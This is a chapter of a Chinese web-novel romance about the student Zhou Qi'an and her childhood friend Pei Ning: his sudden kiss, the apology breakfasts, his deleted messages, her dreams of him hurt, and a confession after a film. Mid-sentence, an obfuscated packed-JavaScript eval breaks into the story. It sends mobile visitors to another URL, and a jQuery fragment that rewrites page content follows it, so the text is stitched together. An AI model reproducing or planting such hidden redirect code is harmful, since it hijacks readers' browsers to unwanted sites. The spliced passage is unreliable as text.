夜里，周祈安躺上床，闭眼许久又蓦地睁开。


    寝室已经熄灯，室内一片黑暗，只有走道的廊灯从门窗缝隙透过来的几缕微光。毯子遮住她半张脸，她轻轻翻过身，过会又小心翻回来，仰躺在床上望着天花板，良久，闷在被子里重重叹出一口气。


    周祈安还是想不明白，裴宁怎么会喜欢她呢？


    她们之间明明分别了那么多年，就算年少慕艾，时间也该磨平了那一点微妙的好感吧？但听裴宁的意思是，他喜欢她已经很久很久了。


    啊！她内心哀嚎，将被子蒙过头，整个人容在墨色里，这下叫她还怎么面对裴宁？


    重点是，他竟然还趁其不备亲了她！


    可恶！


    可恶的裴宁！


    她握拳，脑海里揍了他无数次。又舒出一口气，捧着自己的头，告诉自己不要再想下去了，明天还有早读呢！


    周祈安开始背药方，从麻黄汤、桂枝汤又背到大承气汤、大柴胡汤，背着背着，满脑子都是苦死他苦死他的恶狠狠的念头。


    闹钟响的时候，她恍若还在梦里刻谁的小人，背脊酸痛，脑子也昏沉，脱口而出的第一句话还是


    ——可恶的裴宁。


    床帘被人掀开一角，梁静心踮着脚尖笑：“怎么了？一大早听见你骂人，可真不得了。”


    周祈安艰难翻身坐了起来，又一个跟头栽倒在床头:“心心，我好困啊，你快帮帮我。”


    听她有气无力的声音，梁静心拍拍床板：“手来。”


    周祈安便闭着眼，将自己的手垂在床边，被人接过去后用力摁在合谷穴上，“嗷”了一句终于神思清醒了。


    和周祈安心力不足，在脉学、针灸上有得天独厚的天赋不一样的是，梁静心是“盘骨达人”，家传的骨科大夫，一双手刚劲有力，握力惊人，随便掐一把，立刻就能通神醒识。


    从床上下来，洗漱完抱着书下楼，才要出宿舍楼，就被宿管阿姨喊住，指着桌上的便当袋：“周同学，这是一个男孩子送来的，指名给你，记得拿走。”


    周祈安指了指自己，满脸问号，在宿管阿姨“对，就是给你的”肯定眼神里提了起来，到了饭堂才在梁静心八卦的目光下打开。


    拉开便当盒，一朵黄玫瑰用礼带扎了一个蝴蝶结放置在浅绿色的餐盒盖上。


    她一一取出，打开便当盒，有玉米、小馒头、茶叶蛋，还有蓝莓、葡萄等几种水果。


    这是一份简单但营养均衡的早餐，看得出准备的人很用心。


    梁静心当场“哇”了一声，不过她惊讶地是那朵新鲜的玫瑰花：“这人在跟你道歉呀，连蝴蝶结上的英文都是‘sorry’哦。”


    周祈安抿抿唇，那个害她失眠了一个晚上的始作俑者一大早就来秀存在感，点开的通讯界面第一个弹出的也是裴宁的消息：


    撤回。


    撤回。


    撤回。


    【抱歉，周祈安。】


    周祈安：“......”


    到底撤回了什么，就剩五个字，谁要原谅你啊，可恶的裴宁。


    她竖眉，啃下一口还温热着的玉米。抬眸，看到梁静心促狭的眼眸，不知为何，热气突然涌上脸：“干，干嘛？”


    “周祈安，你不对劲哦！”梁静心吃着自己的早餐，眼神犀利扫视她：“你肯定有问题。”


    周祈安扭头，拧开玻璃瓶盖，喝下同样温热的牛奶，假装听不见梁静心的质疑。但一会，她扣着玻璃瓶口，又悄咪咪问：“静心，你谈过恋爱吗？”


    “唔......”梁静心故意沉吟几秒，看她假装不在意又眼巴巴看自己的样子，“嘿嘿”两声笑了出来：“其实，我有男朋友来着。”


    周祈安睁大了眼，靠近：“真的呀？”


    “嗯！”梁静心肯定点头：“不过他不在南州，而且是体育生，我们是异地，所以就没有说啦。”


    “那你们？”


    听得出她想问的问题，梁静心知道如果不是为着什么事苦恼，周祈安是不会擅自打探别人的隐私的，摸了摸她毛茸茸的头，梁静心才笑着说：“其实异地也挺好的，熬得过就在一起，熬不过就一拍两散，我也没什么损失的。”


    “周祈安，谈恋爱很现实的，所以别轻易谈，要慎重一点知道没有？”


    周祈安没谈过恋爱，甚至还没真正喜欢过什么人，她只是很疑惑，疑惑喜欢一个人就要千方百计靠近她，然后拥有并占有吗？


    但是梁静心好像不是这样的，恋爱可以两个人谈，世界可以一个人规划，可以交叉可以相容，也可以分开。


    周祈安开始思考恋爱这件事情，也开始更加认真地思考裴宁喜欢自己的这件事。


    上大课的时候，她没有忍住搜了关于男女谈恋爱的一些帖子。


    约会、吃饭、游玩。


    牵手、拥抱、亲吻。


    看起来好像也没有很难。


    年少时，她和裴宁就生活过很长一段时间。重逢后，裴宁动不动就拥抱的行为她甚至都已经习惯了。


    至于亲吻......


    周祈安碰了碰自己的嘴角，昨晚那个轻得像羽毛一样飘过的吻虽然有一瞬间让她呆滞住了，但其实，她好像也并没有很排斥。


    那这样的话，其实和裴宁转变关系，好像也不是一件很难的事情。


    她碰了碰夹在书里只露出花瓣的黄玫瑰，垂下的眸光温润，仿佛因为解决了一个难题而放松了下来。


    时间从早到晚，周祈安从沉重的课业上抬起了头，走在校道上看到顶上的月亮时，才恍惚，裴宁今天好像都没有出现过，也没有任何消息。


    她停下脚步，拿出手机看了一眼，除了早上的那条道歉信息，底下空空白白。


    回寝室的时候，梁静心照例出去打电话了，从前以为她是和父母联系，现在知道她其实是和对象打电话后，周祈安莫名有些看不进书。


    其实又有点难以想象自己以后天天和裴宁煲电话煲的样子。


    会有每天都说不完的话吗？如果没有话题了该说些什么？


    恋爱呀......又好像没那么简单。


    她趴在桌面上，敲着牛奶瓶，黄玫瑰微微弯着，盛开的花瓣层层叠叠，馥郁又好看。


    睡下的时候，她又有些轻微的失眠，但因为前一天没睡好，今天课业又重，她的身体扛不住，还是睡着了。


    周祈安做了一个梦，她梦见了和重逢时狼狈模样很像的裴宁，但又有点不太一样。


    裴宁胡子拉碴，跛着一条腿，被警察围在了山坡上，后来满身鲜血躺在沙地上，不肯闭上眼的样子仿佛穿过梦境刺进了她的眼里。


    她从梦中惊醒，双手下意识握成拳，一口差点上不来的气被她吐了出来。


    周祈安小心翼翼拿过床脚的手机，颤着手点开了和裴宁的聊天软件，那里安静了一天的界面终于有了新的讯息。


    撤回。


    撤回。


    【周祈安，今天的早餐你喜欢吃吗？明天你想吃什么我都可以做。】


    撤回。


    【我今天去看脚了，医生说恢复得不错，我有很认真地在护理，你可以不要生气吗？】


    撤回。


    【我错了。】


    【我喜欢你。】


    撤回。


    撤回。


    周祈安看着看着，有些哭笑不得又有些莫名地酸涩心软，凌晨三点多，如果她不醒来，明天看到的会又是一堆撤回和一句对不起吗？


    那天的生气好像一下子就消散了，也或许是做梦惊醒时加速的心跳还没有缓和，但周祈安确定，在这一刻，她的心为裴宁所牵动。


    她轻触键盘的时候，对面的正在输入忽而哑火。


    【明天我想吃海苔饭团，水果要苹果和蓝莓。】


    【还有，我全看到了，别再和撤回聊天了。】


    【现在可以睡觉了吗？裴宁同志？】


    输入界面跳动几番，终于跳出了新的信息：


    【好，我现在就睡，晚安周祈安。】


    【晚安。】


    回复完，她躺下，握着手机又看了几眼界面，确定再没有信息跳出来后，她熄屏，摸着自己的心跳，数着拍子催眠自己睡觉。


    她又梦到了裴宁，就像一个倒序着的梦，这个梦的裴宁要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364614|198847||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更年轻一点，和现在差不多，开着一辆黑色的小车，被另一辆没有车牌的白色汽车追尾撞出了马路栏杆翻下了斜坡。


    ‘裴宁’从破碎的窗户口艰难地爬了出来，瘫在地上喘着气，车尾开始着火，他好像没有力气再往外爬了。


    路边停了好几辆车，有些司机拿着灭火器，有人冲过去拖着裴宁往外拉，远处消防车的声音呜呜啦啦，跟着的还有救护车。


    ‘裴宁’被送上了救护车，垂下来的手血肉模糊。


    周祈安再次醒来，宿舍已经有了窸窸窣窣地动静，水流声细细，座椅轻声挪动，她撑着床垫坐起来，血液滚烫，神思恍惚，有种不知今朝何夕的感觉。


    闹钟忽而响起，她关掉，软着手脚爬下床，打开水龙头泼了自己一脸冷水，这才镇定了下来。


    和梁静心下楼的时候，她差点忘记了早餐，是宿管阿姨又喊住了她，周祁安才记得昨晚和裴宁的聊天。


    她拎走便当袋，打开之后是一枝小雏菊，今天打的是黄色的细礼带，粉色的字是‘Happytoday’。


    里头是更方便吃的寿司，一小块一小块码得很整齐，上面撒了一点芝麻碎。水果是蓝莓和苹果块，苹果应当是泡过盐水，并没有氧化的迹象。


    周祈安捧着牛奶瓶，加热过的牛奶保留着温度，暖着她今早起床后变得有些凉的手心，竟不知为何有些想落泪。


    她眨眨眼，尽力让自己平静，不叫梁静心担忧。


    上课的时候，她又努力让自己全身心投入专业课，偶有的跑神也叫她用银针扎在自己手臂上的穴位上强行拉回了注意力。


    直到要下课，即将到饭点的时候，她终于没有忍住，给裴宁发了信息。


    【中午一起吃饭，有空吗？】


    裴宁几乎是秒回【有，吃哪个档口，我先去等你。】


    【今天去外边吃。】


    于是铃声响的时候，周祈安只来得及和梁静心说一句先走，就匆匆跑出了课室。


    她才下楼，就看到了等在楼下的裴宁。


    少年人穿着简单的白色卫衣和浅蓝色牛仔裤，一八几的个子比例惊人，一双大长腿很抢眼，裴宁的五官俊逸却有些冷淡，和周边往来的学生没有什么过多的差异，或许有的，要更帅更扎眼一些。


    周祈安靠近，看着他眉宇的冷淡悄然化开，不知为何，有一点局促感。


    手上的书被裴宁接过，他们无声穿过教学楼的檐廊，和身边的学生擦肩而过，融入在芸芸众生里，感受着彼此的存在。


    周祈安带他去的是一家汤粉店，硕大的招牌写着“三更猪，五更肉，新鲜猪杂粉”。


    店内几乎坐满了人，他们在一张两人桌坐下，点地是鲜肉河粉。


    “我今天下午没有课。”这是一个很难得没有课的下午，周祈安以往会在图书馆度过，今天却希望有其他的安排。


    裴宁用纸巾擦着桌面，闻言看了她一眼，周祈安明亮的眼眸还在盯着他。


    “那要去看电影吗？”他轻声邀约。


    “那吃完去买甘草茶吧，附近有一家凉茶铺。”周祈安弯下眉眼建议，她对咖啡因有些不耐受，因此很少喝咖啡或者茶类的饮料，更多的还是一些凉茶或者花茶饮。


    “好。”裴宁点头。


    最近的影院离学校只有几公里，在一家连锁的商场里，三层楼高，一楼是超市和一些饰品店，二楼是服装店，最顶层便是电影院。


    现下不是节假日，没有什么热门的电影，她们选了一部宠物题材的电影，时长不到两个小时，节奏不快，剧情却温馨治愈。


    周祁安有些想雷公了，雷公也像电影的小狗一样聪明护主，是她最喜欢的小狗了。


    有些被骗到了眼泪，她用纸巾捂着眼角，眼圈红红的。


    裴宁给她递纸巾，悄悄凑近肩膀给她靠。


    电影结束的时候，所有人都离场，他们还坐在位置上。


    “周祁安。”裴宁直着身体，一只手蜷握着搭在扶手上，小心翼翼不敢触碰挨着他的女孩子：“能喜欢我吗？”


    周祈安用纸巾捂着鼻子，语气瓮声瓮气：“要异地恋可以吗？”